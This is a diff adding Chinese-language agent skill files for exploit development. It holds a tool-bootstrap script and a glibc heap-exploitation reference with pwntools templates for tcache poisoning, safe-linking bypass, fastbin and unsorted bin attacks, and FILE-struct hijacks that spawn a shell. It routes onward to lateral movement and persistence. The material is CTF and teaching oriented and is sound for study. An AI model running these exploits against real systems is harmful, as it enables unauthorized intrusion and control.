131
|
+
完整模板参见 `references/kernel-pwn.md`。
|
|
132
|
+
|
|
133
|
+
## 按需自举 (On-Demand Bootstrap)
|
|
134
|
+
|
|
135
|
+
### 工具依赖
|
|
136
|
+
|
|
137
|
+
| 工具 | 用途 | 安装方式 |
|
|
138
|
+
|------|------|---------|
|
|
139
|
+
| pwntools | exploit 编写框架 | `pip install pwntools` |
|
|
140
|
+
| GEF | gdb 增强(推荐内核 + 用户态) | `git clone https://github.com/bata24/gef` (fork 维护活跃) |
|
|
141
|
+
| pwndbg | gdb 增强(堆调试体验最好) | `git clone https://github.com/pwndbg/pwndbg && ./setup.sh` |
|
|
142
|
+
| ROPgadget | gadget 搜索 | `pip install ropgadget` |
|
|
143
|
+
| Ropper | gadget 搜索(备选,支持架构多) | `pip install ropper` |
|
|
144
|
+
| one_gadget | libc magic gadget 查找 | `gem install one_gadget`(需 ruby) |
|
|
145
|
+
| libc-database | libc 指纹反查 | `git clone https://github.com/niklasb/libc-database && ./get` |
|
|
146
|
+
| qemu-system-x86_64 | 内核题调试 | `apt install qemu-system-x86` |
|
|
147
|
+
| binwalk / cpio | initramfs 拆包 | `apt install binwalk cpio` |
|
|
148
|
+
| patchelf | 切换 libc 版本 | `apt install patchelf` |
|
|
149
|
+
|
|
150
|
+
### Bootstrap 检查脚本
|
|
151
|
+
|
|
152
|
+
```bash
|
|
153
|
+
# 一键检查 + 安装核心工具
|
|
154
|
+
for t in pwntools ropgadget ropper; do
|
|
155
|
+
pip show $t >/dev/null 2>&1 || pip install $t
|
|
156
|
+
done
|
|
157
|
+
|
|
158
|
+
command -v one_gadget >/dev/null || gem install one_gadget
|
|
159
|
+
|
|
160
|
+
[ -d ~/tools/libc-database ] || git clone https://github.com/niklasb/libc-database ~/tools/libc-database
|
|
161
|
+
[ -d ~/tools/libc-database/db ] || (cd ~/tools/libc-database && ./get ubuntu debian)
|
|
162
|
+
|
|
163
|
+
[ -d ~/tools/pwndbg ] || (git clone https://github.com/pwndbg/pwndbg ~/tools/pwndbg && cd ~/tools/pwndbg && ./setup.sh)
|
|
164
|
+
```
|
|
165
|
+
|
|
166
|
+
### 同一工具自动安装失败 2 次后
|
|
167
|
+
|
|
168
|
+
停止重试,输出结构化手动安装步骤(pip 源 / gem 源 / git 国内镜像 / apt 源)让用户确认。
|
|
169
|
+
|
|
170
|
+
## 路由上下文
|
|
171
|
+
|
|
172
|
+
**上游入口**: `skills/SKILL.md`(总控)、`routing.md`
|
|
173
|
+
**触发条件**: 有二进制 + 已识别漏洞点,需要写 exploit
|
|
174
|
+
|
|
175
|
+
**上游 skill(先用它们再回到本 skill)**:
|
|
176
|
+
- 还没看懂二进制在干什么 → `reverse-engineering/`
|
|
177
|
+
- 需要静态详细分析 → `ida-reverse/`
|
|
178
|
+
- 快速侦察确认架构/保护机制 → `radare2/`
|
|
179
|
+
|
|
180
|
+
**下游 skill(拿到 shell 之后)**:
|
|
181
|
+
- 整合进完整攻击链(横向、提权、持久化)→ `attack-chain/`
|
|
182
|
+
|
|
183
|
+
**子模块导航**:
|
|
184
|
+
- 栈类利用(ret2libc / ret2csu / one_gadget / 栈对齐)→ `references/stack-pwn.md`
|
|
185
|
+
- 堆类利用(tcache / fastbin / unsorted / large bin / FILE struct)→ `references/heap-pwn.md`
|
|
186
|
+
- 内核 pwn(kROP / SMEP-SMAP 绕过 / KASLR leak / modprobe_path)→ `references/kernel-pwn.md`
|
|
187
|
+
|
|
188
|
+
## 注意事项
|
|
189
|
+
|
|
190
|
+
- **不要在本地跑通就交差** — 本地 libc / ASLR / 网络环境都和远程不同,必须在 remote 模式下连续跑 20 次以上验证稳定性
|
|
191
|
+
- **libc 版本必须确认** — 用 leak + libc-database 反查,不要假设是 Ubuntu 22.04 默认 libc
|
|
192
|
+
- **栈对齐是 64 位的常见坑** — `movaps xmm0, [rsp]` 在 rsp 未 16 字节对齐时段错误,加一个空 `ret` gadget 解决
|
|
193
|
+
- **堆利用对 glibc 版本极敏感** — tcache 在 2.27 引入,safe-linking 在 2.32 引入,2.34 移除 hooks,每个版本利用路径不同
|
|
194
|
+
- **内核 pwn 必须先确认 cpu 标志** — qemu 启动参数里有没有 +smep +smap +pku 直接决定 ROP 链怎么写
|
|
195
|
+
- **KASLR leak 一次就够** — 拿到一个内核地址后所有地址都算偏移,不要反复 leak
|
|
196
|
+
|
|
197
|
+
## 任务完成自检(声称完成前 MUST 通过)
|
|
198
|
+
|
|
199
|
+
- [ ] 我是否执行了工作流中的每一步(而不是只阅读)?
|
|
200
|
+
- [ ] 我是否基于 `tool-index` 使用了真实工具路径?
|
|
201
|
+
- [ ] 我是否产出了可复现证据(命令/脚本/截图/报告)?
|
|
202
|
+
- [ ] 我是否完成并回写了 RULES 要求的 Checklist 项?
|
|
203
|
+
|
|
204
|
+
## Limitations
|
|
205
|
+
|
|
206
|
+
- Exploit development only on systems you are authorized to attack.
|
|
207
|
+
- Mitigations (full RELRO, CFI, MTE) raise difficulty substantially.
|
|
208
|
+
|
|
209
|
+
> Adapted from [zhaoxuya520/reverse-skill](https://github.com/zhaoxuya520/reverse-skill) (MIT).
|
|
@@ -0,0 +1,283 @@
|
|
|
1
|
+
# 堆类利用 (Heap Pwn)
|
|
2
|
+
|
|
3
|
+
## glibc 版本差异(必看)
|
|
4
|
+
|
|
5
|
+
堆利用的所有技术都跟 glibc 版本强绑定。先确认版本:
|
|
6
|
+
|
|
7
|
+
```bash
|
|
8
|
+
./libc.so.6 | head -1
|
|
9
|
+
# GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.9) stable release version 2.31.
|
|
10
|
+
|
|
11
|
+
# 或 strings
|
|
12
|
+
strings ./libc.so.6 | grep "GNU C Library"
|
|
13
|
+
```
|
|
14
|
+
|
|
15
|
+
| glibc 版本 | 关键变化 | 影响 |
|
|
16
|
+
|-----------|---------|------|
|
|
17
|
+
| 2.26 及之前 | 无 tcache | unsorted/fastbin 是主战场 |
|
|
18
|
+
| 2.27 | **引入 tcache** | tcache poisoning 极其简单 |
|
|
19
|
+
| 2.29 | unsorted bin unlink 加固(chunk size 检查) | unsorted bin attack 被砍 |
|
|
20
|
+
| 2.31 | tcache 多重检查(key 字段) | tcache poisoning 略复杂 |
|
|
21
|
+
| 2.32 | **safe-linking**(fd 指针异或 PROTECT_PTR) | 需要先 leak heap base |
|
|
22
|
+
| 2.34 | **移除 __free_hook / __malloc_hook** | 改走 FILE struct / exit handlers |
|
|
23
|
+
| 2.35+ | 进一步加固 | 同 2.34,FILE 路径仍可用 |
|
|
24
|
+
|
|
25
|
+
## tcache poisoning (2.27 - 2.31)
|
|
26
|
+
|
|
27
|
+
### 原理
|
|
28
|
+
|
|
29
|
+
tcache 是 per-thread cache,每个 size class 一条链表,单链表(只有 fd)。
|
|
30
|
+
double free 检查在 2.29 之前只看链表头是不是自己,不看遍历。
|
|
31
|
+
|
|
32
|
+
### 利用模板(2.27 - 2.31)
|
|
33
|
+
|
|
34
|
+
```python
|
|
35
|
+
from pwn import *
|
|
36
|
+
|
|
37
|
+
p = process('./vuln')
|
|
38
|
+
libc = ELF('./libc.so.6')
|
|
39
|
+
|
|
40
|
+
def add(idx, size, data=b'a'):
|
|
41
|
+
p.sendlineafter(b'> ', b'1')
|
|
42
|
+
p.sendlineafter(b'idx: ', str(idx).encode())
|
|
43
|
+
p.sendlineafter(b'size: ', str(size).encode())
|
|
44
|
+
p.sendafter(b'data: ', data)
|
|
45
|
+
|
|
46
|
+
def free(idx):
|
|
47
|
+
p.sendlineafter(b'> ', b'2')
|
|
48
|
+
p.sendlineafter(b'idx: ', str(idx).encode())
|
|
49
|
+
|
|
50
|
+
def show(idx):
|
|
51
|
+
p.sendlineafter(b'> ', b'3')
|
|
52
|
+
p.sendlineafter(b'idx: ', str(idx).encode())
|
|
53
|
+
return p.recvline().strip()
|
|
54
|
+
|
|
55
|
+
# === Step 1: leak libc base ===
|
|
56
|
+
# 申请大于 tcache 范围的 chunk(>0x408),free 进 unsorted bin,残留 main_arena 指针
|
|
57
|
+
for i in range(8):
|
|
58
|
+
add(i, 0x80)
|
|
59
|
+
add(8, 0x80) # 防止合并
|
|
60
|
+
for i in range(7):
|
|
61
|
+
free(i)
|
|
62
|
+
free(7) # 第 8 个进 unsorted bin,fd/bk 指向 main_arena+96
|
|
63
|
+
add(9, 0x80) # 切回来一部分,保留 fd
|
|
64
|
+
leak = u64(show(9).ljust(8, b'\x00'))
|
|
65
|
+
libc.address = leak - 0x3ebca0 # main_arena+96 偏移,glibc 2.27 amd64
|
|
66
|
+
log.success(f'libc = {hex(libc.address)}')
|
|
67
|
+
|
|
68
|
+
# === Step 2: tcache poisoning → 写 __free_hook ===
|
|
69
|
+
add(10, 0x30)
|
|
70
|
+
add(11, 0x30)
|
|
71
|
+
free(10)
|
|
72
|
+
free(11)
|
|
73
|
+
# 用 UAF 改 chunk11 的 fd 指向 __free_hook
|
|
74
|
+
edit(11, p64(libc.sym['__free_hook']))
|
|
75
|
+
add(12, 0x30) # 取出 chunk11
|
|
76
|
+
add(13, 0x30, p64(libc.sym['system'])) # 取出来的就是 __free_hook 地址,写 system
|
|
77
|
+
|
|
78
|
+
# 触发:free 一个内容为 "/bin/sh\x00" 的 chunk
|
|
79
|
+
add(14, 0x30, b'/bin/sh\x00')
|
|
80
|
+
free(14)
|
|
81
|
+
|
|
82
|
+
p.interactive()
|
|
83
|
+
```
|
|
84
|
+
|
|
85
|
+
## safe-linking 绕过 (2.32+)
|
|
86
|
+
|
|
87
|
+
```text
|
|
88
|
+
原理:tcache/fastbin 的 fd 写入时被 PROTECT_PTR 异或:
|
|
89
|
+
PROTECT_PTR(pos, ptr) = (pos >> 12) ^ ptr
|
|
90
|
+
|
|
91
|
+
绕过:
|
|
92
|
+
1. 必须先 leak 一个堆地址(heap base)
|
|
93
|
+
2. 计算 obfuscated 值:fake_fd_obf = (chunk_addr >> 12) ^ target
|
|
94
|
+
3. 写进去
|
|
95
|
+
```
|
|
96
|
+
|
|
97
|
+
```python
|
|
98
|
+
def protect_ptr(pos, ptr):
|
|
99
|
+
return (pos >> 12) ^ ptr
|
|
100
|
+
|
|
101
|
+
# leak heap base(unsorted bin 残留 / tcache fd 残留)
|
|
102
|
+
heap_base = leaked_heap & ~0xfff
|
|
103
|
+
|
|
104
|
+
# poisoning
|
|
105
|
+
fake_fd = protect_ptr(heap_base + chunk_off, target_addr)
|
|
106
|
+
edit(chunk_id, p64(fake_fd))
|
|
107
|
+
```
|
|
108
|
+
|
|
109
|
+
## fastbin attack (传统,2.26 及之前为主)
|
|
110
|
+
|
|
111
|
+
```text
|
|
112
|
+
关键点:
|
|
113
|
+
1. fastbin 单链表(只有 fd),无 size 检查除了 chunk size 必须匹配
|
|
114
|
+
2. 2.27 后 tcache 优先,fastbin 只有 tcache 满了才用
|
|
115
|
+
3. 仍然需要伪造一个看起来像 chunk 的内存(size 字段 = 真实 chunk size,± 一些)
|
|
116
|
+
```
|
|
117
|
+
|
|
118
|
+
```python
|
|
119
|
+
# double free
|
|
120
|
+
add(0, 0x60)
|
|
121
|
+
add(1, 0x60)
|
|
122
|
+
free(0)
|
|
123
|
+
free(1)
|
|
124
|
+
free(0) # fastbin: 0 → 1 → 0
|
|
125
|
+
|
|
126
|
+
# 把 fd 改成 fake chunk(要求 fake_addr + 8 处的 size 字节匹配 0x70)
|
|
127
|
+
add(2, 0x60, p64(fake_addr))
|
|
128
|
+
add(3, 0x60)
|
|
129
|
+
add(4, 0x60) # 取出 fake_addr 处的 chunk
|
|
130
|
+
```
|
|
131
|
+
|
|
132
|
+
## unsorted bin attack(仅 2.28 及之前)
|
|
133
|
+
|
|
134
|
+
```text
|
|
135
|
+
原理:写任意地址为 main_arena+88
|
|
136
|
+
2.29 起加了 bck->fd == victim 的检查,绕不过
|
|
137
|
+
用途:覆盖 global_max_fast 让小 chunk 也走 fastbin → 配合 fastbin attack
|
|
138
|
+
```
|
|
139
|
+
|
|
140
|
+
```python
|
|
141
|
+
# 申请 unsorted size chunk
|
|
142
|
+
add(0, 0x100)
|
|
143
|
+
add(1, 0x100) # 防止 top consolidation
|
|
144
|
+
free(0)
|
|
145
|
+
# UAF 改 bk 指针为 target - 0x10
|
|
146
|
+
edit(0, p64(0) + p64(target - 0x10))
|
|
147
|
+
add(2, 0x100) # 从 unsorted 取出 → unlink → main_arena+88 写到 target
|
|
148
|
+
```
|
|
149
|
+
|
|
150
|
+
## large bin attack
|
|
151
|
+
|
|
152
|
+
```text
|
|
153
|
+
原理:large bin 比 unsorted 多一层 fd_nextsize / bk_nextsize
|
|
154
|
+
2.32 起也加了 chunk size 检查,但仍可用于改 global_max_fast、_IO_list_all 等
|
|
155
|
+
高级技巧,常用于 House of Husk 等组合拳
|
|
156
|
+
```
|
|
157
|
+
|
|
158
|
+
## House of XXX 速查
|
|
159
|
+
|
|
160
|
+
| 名称 | 适用版本 | 核心思想 |
|
|
161
|
+
|------|---------|---------|
|
|
162
|
+
| House of Force | 2.28 及之前 | 改 top chunk size 为巨大值 → malloc 任意地址 |
|
|
163
|
+
| House of Lore | 全版本 | 伪造 small bin 链 → 返回任意地址 |
|
|
164
|
+
| House of Orange | 2.23-2.30 | unsorted attack 改 _IO_list_all 触发 _IO_flush_all_lockp |
|
|
165
|
+
| House of Roman | 2.23-2.26 | 12-bit 爆破 + fastbin attack to __malloc_hook |
|
|
166
|
+
| House of Einherjar | 全版本 | 伪造 prev_size + PREV_INUSE=0 → backward consolidation |
|
|
167
|
+
| House of Botcake | 2.27+ | tcache + unsorted bin 组合,绕过 tcache double free 检查 |
|
|
168
|
+
| House of Husk | 2.27+ | 改 printf 的 hook table(__printf_function_table) |
|
|
169
|
+
| House of Cat | 2.34+ | _IO_wfile_seekoff vtable 利用,针对无 hook 版本 |
|
|
170
|
+
| House of Apple | 2.34+ | _IO_wfile_jumps + setcontext gadget |
|
|
171
|
+
|
|
172
|
+
## 真实利用步骤(通用 4 步)
|
|
173
|
+
|
|
174
|
+
```text
|
|
175
|
+
Step 1: leak heap base
|
|
176
|
+
- 申请 chunk → free 到 tcache(2.32+ 保留 obfuscated fd) → show → 反推 heap
|
|
177
|
+
- 或:申请大 chunk → free 到 unsorted → 切回 → show fd
|
|
178
|
+
|
|
179
|
+
Step 2: leak libc base
|
|
180
|
+
- 大 chunk free 到 unsorted bin,fd/bk 残留 main_arena 地址
|
|
181
|
+
- show → leak → libc.address = leak - main_arena_offset
|
|
182
|
+
|
|
183
|
+
Step 3: 控 IP
|
|
184
|
+
- 2.27-2.33: tcache/fastbin poisoning → 写 __free_hook 或 __malloc_hook
|
|
185
|
+
- 2.34+: FILE struct 攻击(_IO_2_1_stdout_ / stderr),改 vtable → _IO_wfile_jumps
|
|
186
|
+
- 或:劫持 exit handlers(__exit_funcs / tls_dtor_list)
|
|
187
|
+
|
|
188
|
+
Step 4: getshell
|
|
189
|
+
- free_hook = system, free("/bin/sh") → shell
|
|
190
|
+
- 2.34+: setcontext + 53 gadget → rop chain in heap → execve
|
|
191
|
+
```
|
|
192
|
+
|
|
193
|
+
## libc 2.34+ 没有 hook 之后的替代路径
|
|
194
|
+
|
|
195
|
+
### FILE struct 攻击(_IO_2_1_stdout_ / _IO_2_1_stderr_)
|
|
196
|
+
|
|
197
|
+
```text
|
|
198
|
+
目标:当程序调用 puts/printf 时,最终走到 _IO_file_xsputn → _IO_OVERFLOW → 调用 vtable
|
|
199
|
+
劫持:
|
|
200
|
+
1. 覆盖 _IO_2_1_stderr_ 的 vtable 指针指向伪造的 vtable
|
|
201
|
+
2. 伪造 vtable,让 __overflow 字段指向 system 或 setcontext
|
|
202
|
+
3. 让 fp(FILE*)本身的前 8 字节是 "/bin/sh\x00"(作为 system 的 rdi)
|
|
203
|
+
触发:任何 puts/printf/abort/exit 都会冲刷 stderr
|
|
204
|
+
```
|
|
205
|
+
|
|
206
|
+
### Exit handlers (`__exit_funcs` / `tls_dtor_list`)
|
|
207
|
+
|
|
208
|
+
```text
|
|
209
|
+
原理:__run_exit_handlers 遍历 __exit_funcs 链表,调用每个 dtor
|
|
210
|
+
劫持:改链表节点的 func 指针指向 system,arg 指向 "/bin/sh"
|
|
211
|
+
注意:2.34+ 加了 PTR_DEMANGLE,需要 leak tls 里的 fs:[0x30] guard 值才能伪造
|
|
212
|
+
```
|
|
213
|
+
|
|
214
|
+
### tls_dtor_list(更现代)
|
|
215
|
+
|
|
216
|
+
```text
|
|
217
|
+
__call_tls_dtors 遍历,结构类似,同样要绕过 PTR_DEMANGLE
|
|
218
|
+
适用:程序退出时会走,比 FILE 攻击更通用
|
|
219
|
+
```
|
|
220
|
+
|
|
221
|
+
## pwndbg / GEF 堆调试命令
|
|
222
|
+
|
|
223
|
+
```text
|
|
224
|
+
# pwndbg
|
|
225
|
+
heap # 显示当前 arena 所有 chunk
|
|
226
|
+
bins # 显示 tcache / fastbin / unsorted / small / large bins
|
|
227
|
+
tcache # 单独看 tcache
|
|
228
|
+
find_fake_fast <addr> <size> # 找一个能用作 fake chunk 的 fd 写入点
|
|
229
|
+
vis_heap_chunks # 可视化堆布局
|
|
230
|
+
|
|
231
|
+
# GEF
|
|
232
|
+
heap chunks
|
|
233
|
+
heap bins fast
|
|
234
|
+
heap bins tcache
|
|
235
|
+
heap chunk <addr>
|
|
236
|
+
```
|
|
237
|
+
|
|
238
|
+
## 典型 pwntools 模板(heap menu 题)
|
|
239
|
+
|
|
240
|
+
```python
|
|
241
|
+
from pwn import *
|
|
242
|
+
|
|
243
|
+
context.binary = elf = ELF('./vuln')
|
|
244
|
+
libc = ELF('./libc.so.6')
|
|
245
|
+
|
|
246
|
+
p = process('./vuln') if not args.REMOTE else remote('host', 1337)
|
|
247
|
+
|
|
248
|
+
# IO 包装
|
|
249
|
+
def menu(choice):
|
|
250
|
+
p.sendlineafter(b'choice:', str(choice).encode())
|
|
251
|
+
|
|
252
|
+
def add(idx, size, data=b'\n'):
|
|
253
|
+
menu(1)
|
|
254
|
+
p.sendlineafter(b'idx:', str(idx).encode())
|
|
255
|
+
p.sendlineafter(b'size:', str(size).encode())
|
|
256
|
+
if data != b'\n':
|
|
257
|
+
p.sendafter(b'data:', data)
|
|
258
|
+
|
|
259
|
+
def free(idx):
|
|
260
|
+
menu(2)
|
|
261
|
+
p.sendlineafter(b'idx:', str(idx).encode())
|
|
262
|
+
|
|
263
|
+
def show(idx):
|
|
264
|
+
menu(3)
|
|
265
|
+
p.sendlineafter(b'idx:', str(idx).encode())
|
|
266
|
+
return p.recvline().strip()
|
|
267
|
+
|
|
268
|
+
def edit(idx, data):
|
|
269
|
+
menu(4)
|
|
270
|
+
p.sendlineafter(b'idx:', str(idx).encode())
|
|
271
|
+
p.sendafter(b'data:', data)
|
|
272
|
+
|
|
273
|
+
# === 后续根据漏洞类型选择技术栈 ===
|
|
274
|
+
```
|
|
275
|
+
|
|
276
|
+
## 注意事项
|
|
277
|
+
|
|
278
|
+
- **glibc 版本是第一性问题** — 同一个二进制配 2.27 libc 和 2.34 libc,利用路径完全不同
|
|
279
|
+
- **tcache 容量 = 7**(每个 size class)— 喷射够 7 个才会溢出到 unsorted/fastbin
|
|
280
|
+
- **chunk size = 用户请求 + 0x10 头部,向 0x10 对齐**(不算 0x10 头时实际可写超出 0x8 因为下一个 chunk 的 prev_size 被复用)
|
|
281
|
+
- **远程堆喷不稳** — 服务端 fork 模型每次连接 brk/mmap 可能不同,要做随机化测试
|
|
282
|
+
- **不要在 attack 链中遗留 unsorted 残留** — main_arena 指针出现在意外的 chunk 里会让后续 show 输出错乱
|
|
283
|
+
- **safe-linking 错误率** — 计算 PROTECT_PTR 时记得是 `pos >> 12`,pos 是要写入的地址不是要指向的地址
|